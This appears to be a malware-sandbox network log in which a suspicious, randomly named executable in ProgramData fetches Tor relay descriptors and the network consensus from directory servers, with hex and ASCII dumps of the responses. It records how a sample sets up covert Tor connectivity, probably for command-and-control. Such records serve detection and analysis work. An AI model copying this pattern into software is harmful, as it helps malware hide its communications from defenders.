42 0a 75 70 74 69 6d 65 20 37 38 31 0a 62 61 6e 64 77 69 64 74 68 20 35 31 32 30 30 30 20 36 31 34 34 30 30 20 34 38 37 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 45 39 31 45 32 42 37 41 31 42 38 30 38 39 46 45 41 32 31 43 36 39 37 30 30 33 38 46 44 33 34 41 33 43 31 36 36 39 34 20 62 31 78 61 39 57 32 5a 56 46 78 6c 36 2f 65 54 73 35 2f 75 4b 58 6d 57 7a 6a 4c 41 2b 77 6e 56 42 69 64 59 31 59 38 65 4c 44 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 61 5a 6a 45 6e 47 38 78 58 4f 53 51 42 53 58 63 68 79 39 6f 48 67 4c 75 47 4e 7a 66 6b 4f 6b 48 50 35 46 70 72 4a 64 56 71 64 38 37 42 31 51 68 48 77 33 75 2f 69 0a 4f 6a 75 51 73 2f 4b 69 41 30 51 34 2f 47 2b 67 57 75 69 43 33 78 68 6d 43 2b 6a 69 69 68 50 64 54 70 56 34 64 45 58 4d 63 66 73 78 6c 32 2f 6d 72 2b 6b 67 48 32 53 56 54 37 30 69 74 79 77 32 0a 62 4f 69 4e 57 41 2b 6d 7a 71 7a 76 47 6f 37 38 49 31 45 56 44 50 69 47 7a 42 75 46 47 78 4b 55 50 6e 49 73 74 6d 79 72 62 74 36 6a 57 5a 79 4a 7a 39 4e 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2f 67 7a 73 74 58 70 55 61 41 4c 68 6a 51 77 6d 77 48 71 4a Data Ascii: router transtbb 84.155.152.82 14074 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxV6AQFVLbRbCeZ604P2tD8pIBGQNrOtjXuIZMasp0fB/c6QAQAgBABo560RR9EGj3UAYvjPvduapVWIOEW1OoPjpEGKO6AZpydJVYo/2124yMtbXNCthtdwqJ6tgsvpVrtpeOVMmlO4RUXBZZvPI9hXFNRwge87hzCcAcBmQtphX60ZYTf3UQk=-----END ED25519 CERT-----master-key-ed25519 aOetEUfRBo91AGL4z73bmqVViDhFtTqD46RBijugGacplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:13:26fingerprint D3E9 F867 DDF2 8DE1 91EA 611F D360 353C 8384 F8ABuptime 781bandwidth 512000 614400 487150extra-info-digest 6E91E2B7A1B8089FEA21C6970038FD34A3C16694 b1xa9W2ZVFxl6/eTs5/uKXmWzjLA+wnVBidY1Y8eLDMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANaZjEnG8xXOSQBSXchy9oHgLuGNzfkOkHP5FprJdVqd87B1QhHw3u/iOjuQs/KiA0Q4/G+gWuiC3xhmC+jiihPdTpV4dEXMcfsxl2/mr+kgH2SVT70ityw2bOiNWA+mzqzvGo78I1EVDPiGzBuFGxKUPnIstmyrbt6jWZyJz9NBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL/gzstXpUaALhjQwmwHqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49732	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:28.699011087 CET	5303	OUT	GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:28.748817921 CET	5305	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:28 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:28 GMT Data Raw: 72 6f 75 74 65 72 20 30 78 36 37 37 32 36 35 37 39 20 38 39 2e 35 38 2e 36 30 2e 32 30 38 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 61 45 41 62 44 46 54 42 6c 38 6a 66 42 77 56 44 37 65 38 74 51 4e 6c 4a 68 56 53 48 44 51 43 43 75 71 79 78 31 2f 7a 66 4b 55 6b 6c 67 59 41 51 41 67 42 41 44 57 4c 54 30 59 0a 50 46 35 65 64 59 36 53 76 55 62 69 71 70 47 4a 75 67 55 6e 4e 71 68 48 32 73 69 2b 31 2f 67 46 61 57 58 66 30 4a 66 59 42 6d 4b 42 49 52 57 70 78 4b 62 44 4e 42 44 39 58 39 5a 6d 61 62 43 6f 0a 76 61 49 77 50 71 6a 39 57 56 35 57 2f 4d 66 43 77 34 71 6d 70 64 58 72 5a 75 77 5a 46 34 4d 48 53 6e 78 68 6e 4e 57 6d 57 46 6a 31 2f 4c 30 68 48 74 6e 7a 52 6b 63 67 46 77 73 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 31 69 30 39 47 44 78 65 58 6e 57 4f 6b 72 31 47 34 71 71 52 69 62 6f 46 4a 7a 61 6f 52 39 72 49 76 74 66 34 42 57 6c 6c 33 39 41 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 61 3a 34 63 63 30 3a 31 3a 32 65 38 3a 34 33 30 3a 64 30 66 66 3a 66 65 31 36 3a 61 66 34 66 5d 3a 39 30 30 31 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 32 3a 31 30 3a 31 39 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 42 32 20 31 35 32 31 20 32 39 36 38 20 36 41 45 30 20 42 45 30 35 20 46 33 44 31 20 34 36 30 35 20 39 31 44 44 20 37 31 43 34 20 42 42 31 35 0a 75 70 74 69 6d 65 20 36 34 38 32 30 37 0a 62 61 6e 64 77 69 64 74 68 20 31 32 35 38 32 39 31 32 20 31 36 37 37 37 32 31 36 20 31 32 36 33 32 39 32 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 44 41 44 39 38 34 31 36 46 42 36 38 37 37 34 45 30 30 35 39 44 42 39 32 42 35 35 43 41 37 43 34 42 41 36 45 42 42 37 20 67 42 76 58 68 30 4f 62 74 6b 41 33 6a 6b 6e 4b 49 7a 59 46 6a 5a 4e 4b 46 67 65 62 56 4b 49 63 4a 75 76 38 4a 70 32 50 7a 6e 73 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4f 44 4f 36 47 34 39 33 44 44 6a 2f 36 4a 6d 52 76 33 6b 38 2f 61 51 68 57 42 72 72 73 6d 51 4c 51 64 52 56 67 35 73 33 44 6a 61 6d 55 51 41 4d 4f 64 48 41 61 63 41 0a 55 73 63 57 46 4a 56 47 2f 4c 69 61 4b 57 66 45 65 42 59 6b 42 65 54 35 45 49 70 76 50 49 32 31 55 2f 4d 42 55 53 45 4c 57 74 51 68 6a 57 56 6b 45 73 71 4a 5a 32 52 48 63 77 50 44 51 76 6e 76 0a 6e 4b 37 46 31 7a 43 61 6c 38 75 64 4b 50 6e 34 39 61 56 61 33 72 56 43 30 4c 50 32 4d 53 57 46 66 66 74 63 2f 53 71 42 35 54 36 64 7a 4d 73 41 51 6a 38 4a 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 Data Ascii: router 0x67726579 89.58.60.208 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxaEAbDFTBl8jfBwVD7e8tQNlJhVSHDQCCuqyx1/zfKUklgYAQAgBADWLT0YPF5edY6SvUbiqpGJugUnNqhH2si+1/gFaWXf0JfYBmKBIRWpxKbDNBD9X9ZmabCovaIwPqj9WV5W/MfCw4qmpdXrZuwZF4MHSnxhnNWmWFj1/L0hHtnzRkcgFws=-----END ED25519 CERT-----master-key-ed25519 1i09GDxeXnWOkr1G4qqRiboFJzaoR9rIvtf4BWll39Aor-address [2a0a:4cc0:1:2e8:430:d0ff:fe16:af4f]:9001platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 02:10:19fingerprint 02B2 1521 2968 6AE0 BE05 F3D1 4605 91DD 71C4 BB15uptime 648207bandwidth 12582912 16777216 12632922extra-info-digest FDAD98416FB68774E0059DB92B55CA7C4BA6EBB7 gBvXh0ObtkA3jknKIzYFjZNKFgebVKIcJuv8Jp2Pznsonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAODO6G493DDj/6JmRv3k8/aQhWBrrsmQLQdRVg5s3DjamUQAMOdHAacAUscWFJVG/LiaKWfEeBYkBeT5EIpvPI21U/MBUSELWtQhjWVkEsqJZ2RHcwPDQvnvnK7F1zCal8udKPn49aVa3rVC0LP2MSWFfftc/SqB5T6dzMsAQj8JAgMBAAE=-----END RSA PUBLIC KEY-----signing-key

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49733	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:29.211570024 CET	5311	OUT	GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:29.259649992 CET	5313	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:29 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:29 GMT Data Raw: 72 6f 75 74 65 72 20 74 72 61 6e 73 74 62 62 20 38 34 2e 31 35 35 2e 31 35 32 2e 38 32 20 31 34 30 37 34 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 56 36 41 51 46 56 4c 62 52 62 43 65 5a 36 30 34 50 32 74 44 38 70 49 42 47 51 4e 72 4f 74 6a 58 75 49 5a 4d 61 73 70 30 66 42 2f 63 36 51 41 51 41 67 42 41 42 6f 35 36 30 52 0a 52 39 45 47 6a 33 55 41 59 76 6a 50 76 64 75 61 70 56 57 49 4f 45 57 31 4f 6f 50 6a 70 45 47 4b 4f 36 41 5a 70 79 64 4a 56 59 6f 2f 32 31 32 34 79 4d 74 62 58 4e 43 74 68 74 64 77 71 4a 36 74 0a 67 73 76 70 56 72 74 70 65 4f 56 4d 6d 6c 4f 34 52 55 58 42 5a 5a 76 50 49 39 68 58 46 4e 52 77 67 65 38 37 68 7a 43 63 41 63 42 6d 51 74 70 68 58 36 30 5a 59 54 66 33 55 51 6b 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 61 4f 65 74 45 55 66 52 42 6f 39 31 41 47 4c 34 7a 37 33 62 6d 71 56 56 69 44 68 46 74 54 71 44 34 36 52 42 69 6a 75 67 47 61 63 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 31 33 3a 32 36 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 44 33 45 39 20 46 38 36 37 20 44 44 46 32 20 38 44 45 31 20 39 31 45 41 20 36 31 31 46 20 44 33 36 30 20 33 35 33 43 20 38 33 38 34 20 46 38 41 42 0a 75 70 74 69 6d 65 20 37 38 31 0a 62 61 6e 64 77 69 64 74 68 20 35 31 32 30 30 30 20 36 31 34 34 30 30 20 34 38 37 31 35 30 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 36 45 39 31 45 32 42 37 41 31 42 38 30 38 39 46 45 41 32 31 43 36 39 37 30 30 33 38 46 44 33 34 41 33 43 31 36 36 39 34 20 62 31 78 61 39 57 32 5a 56 46 78 6c 36 2f 65 54 73 35 2f 75 4b 58 6d 57 7a 6a 4c 41 2b 77 6e 56 42 69 64 59 31 59 38 65 4c 44 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 61 5a 6a 45 6e 47 38 78 58 4f 53 51 42 53 58 63 68 79 39 6f 48 67 4c 75 47 4e 7a 66 6b 4f 6b 48 50 35 46 70 72 4a 64 56 71 64 38 37 42 31 51 68 48 77 33 75 2f 69 0a 4f 6a 75 51 73 2f 4b 69 41 30 51 34 2f 47 2b 67 57 75 69 43 33 78 68 6d 43 2b 6a 69 69 68 50 64 54 70 56 34 64 45 58 4d 63 66 73 78 6c 32 2f 6d 72 2b 6b 67 48 32 53 56 54 37 30 69 74 79 77 32 0a 62 4f 69 4e 57 41 2b 6d 7a 71 7a 76 47 6f 37 38 49 31 45 56 44 50 69 47 7a 42 75 46 47 78 4b 55 50 6e 49 73 74 6d 79 72 62 74 36 6a 57 5a 79 4a 7a 39 4e 42 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 2f 67 7a 73 74 58 70 55 61 41 4c 68 6a 51 77 6d 77 48 71 4a Data Ascii: router transtbb 84.155.152.82 14074 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxV6AQFVLbRbCeZ604P2tD8pIBGQNrOtjXuIZMasp0fB/c6QAQAgBABo560RR9EGj3UAYvjPvduapVWIOEW1OoPjpEGKO6AZpydJVYo/2124yMtbXNCthtdwqJ6tgsvpVrtpeOVMmlO4RUXBZZvPI9hXFNRwge87hzCcAcBmQtphX60ZYTf3UQk=-----END ED25519 CERT-----master-key-ed25519 aOetEUfRBo91AGL4z73bmqVViDhFtTqD46RBijugGacplatform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:13:26fingerprint D3E9 F867 DDF2 8DE1 91EA 611F D360 353C 8384 F8ABuptime 781bandwidth 512000 614400 487150extra-info-digest 6E91E2B7A1B8089FEA21C6970038FD34A3C16694 b1xa9W2ZVFxl6/eTs5/uKXmWzjLA+wnVBidY1Y8eLDMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANaZjEnG8xXOSQBSXchy9oHgLuGNzfkOkHP5FprJdVqd87B1QhHw3u/iOjuQs/KiA0Q4/G+gWuiC3xhmC+jiihPdTpV4dEXMcfsxl2/mr+kgH2SVT70ityw2bOiNWA+mzqzvGo78I1EVDPiGzBuFGxKUPnIstmyrbt6jWZyJz9NBAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL/gzstXpUaALhjQwmwHqJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49734	77.7.81.140	9030	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:29.413095951 CET	5316	OUT	GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0 Host: 77.7.81.140 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:29.480715990 CET	5317	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:29 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:29 GMT Data Raw: 72 6f 75 74 65 72 20 38 34 31 32 30 33 34 31 30 33 37 38 30 32 33 37 20 32 30 39 2e 31 34 31 2e 33 37 2e 39 34 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 61 4c 41 65 53 79 6a 35 7a 47 4c 76 6e 7a 72 59 69 6c 67 6a 71 75 50 48 52 4b 5a 37 63 6d 34 63 57 6d 39 71 35 52 53 4e 73 63 4d 65 44 65 41 51 41 67 42 41 42 64 4b 72 4e 74 0a 4d 69 34 61 42 4f 6d 70 31 74 6e 79 48 4b 68 62 53 59 63 37 55 7a 4b 37 6a 51 4d 4b 59 7a 37 6c 70 4e 52 4a 4b 36 38 62 48 34 35 4c 50 41 37 33 74 34 65 4c 47 67 4b 31 6d 6f 66 4b 77 75 30 48 0a 38 71 30 2f 38 4d 43 4e 68 2f 78 75 5a 4f 2f 4d 71 4c 74 74 57 62 49 32 42 61 61 64 59 30 45 35 35 6b 43 46 74 4f 6d 51 59 45 79 64 4f 46 76 62 47 41 65 33 6f 4b 61 33 56 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 58 53 71 7a 62 54 49 75 47 67 54 70 71 64 62 5a 38 68 79 6f 57 30 6d 48 4f 31 4d 79 75 34 30 44 43 6d 4d 2b 35 61 54 55 53 53 73 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 34 3a 30 33 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 32 44 38 20 33 32 46 30 20 30 32 44 34 20 43 41 33 44 20 32 35 41 44 20 44 41 32 43 20 42 42 42 32 20 44 30 39 45 20 45 34 31 41 20 31 35 41 42 0a 75 70 74 69 6d 65 20 33 39 33 38 35 39 38 0a 62 61 6e 64 77 69 64 74 68 20 33 30 37 32 30 30 30 20 31 30 37 33 37 34 31 38 32 34 20 37 36 32 35 35 37 39 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 35 31 41 46 42 32 34 46 44 45 32 35 33 43 30 46 30 42 45 46 32 37 42 41 45 38 33 46 42 45 30 38 46 33 36 42 43 38 39 20 33 68 6d 57 74 54 44 36 43 68 49 41 47 6d 73 4f 4a 43 48 37 7a 6a 4f 62 33 77 58 47 4a 42 2b 57 59 56 4f 48 6c 6a 55 7a 33 35 51 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4b 32 4a 31 34 33 34 4f 4e 63 41 49 37 70 75 37 33 51 35 41 38 56 64 42 4f 69 61 63 35 33 59 74 46 62 31 78 44 64 43 6a 31 57 4d 4d 65 52 46 76 4d 51 44 4a 45 58 36 0a 38 71 72 48 50 6f 45 31 63 4e 4e 32 59 6e 44 6f 74 4f 7a 76 4e 62 64 4a 36 79 69 32 62 6a 5a 61 41 62 31 6d 64 49 52 43 6c 56 6f 4b 38 49 41 31 5a 30 41 79 58 72 51 76 53 57 61 37 6d 7a 31 36 0a 47 2f 32 6e 39 6f 71 44 47 79 39 77 67 78 2b 57 6b 45 42 41 46 6e 33 37 39 70 55 34 78 78 57 41 42 34 4b 6d 4f 46 31 2f 49 67 2f 34 75 73 43 63 43 57 55 64 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 39 55 41 Data Ascii: router 8412034103780237 209.141.37.94 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxaLAeSyj5zGLvnzrYilgjquPHRKZ7cm4cWm9q5RSNscMeDeAQAgBABdKrNtMi4aBOmp1tnyHKhbSYc7UzK7jQMKYz7lpNRJK68bH45LPA73t4eLGgK1mofKwu0H8q0/8MCNh/xuZO/MqLttWbI2BaadY0E55kCFtOmQYEydOFvbGAe3oKa3VA4=-----END ED25519 CERT-----master-key-ed25519 XSqzbTIuGgTpqdbZ8hyoW0mHO1Myu40DCmM+5aTUSSsplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 04:03:47fingerprint 02D8 32F0 02D4 CA3D 25AD DA2C BBB2 D09E E41A 15ABuptime 3938598bandwidth 3072000 1073741824 7625579extra-info-digest F51AFB24FDE253C0F0BEF27BAE83FBE08F36BC89 3hmWtTD6ChIAGmsOJCH7zjOb3wXGJB+WYVOHljUz35Qonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAK2J1434ONcAI7pu73Q5A8VdBOiac53YtFb1xDdCj1WMMeRFvMQDJEX68qrHPoE1cNN2YnDotOzvNbdJ6yi2bjZaAb1mdIRClVoK8IA1Z0AyXrQvSWa7mz16G/2n9oqDGy9wgx+WkEBAFn379pU4xxWAB4KmOF1/Ig/4usCcCWUdAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAN9UA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49738	193.23.244.244	80	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:40.147089958 CET	5332	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 193.23.244.244 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:40.175998926 CET	5333	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:40 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Sun, 11 Dec 2022 09:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 32 2d 31 31 20 30 38 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 30 39 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 32 2d 31 31 20 31 31 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 35 2e 31 35 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 2c 30 2e 34 2e 37 2e 31 31 2c 30 2e 34 2e 37 2e 31 32 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4d 69 64 64 6c 65 4f 6e 6c 79 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 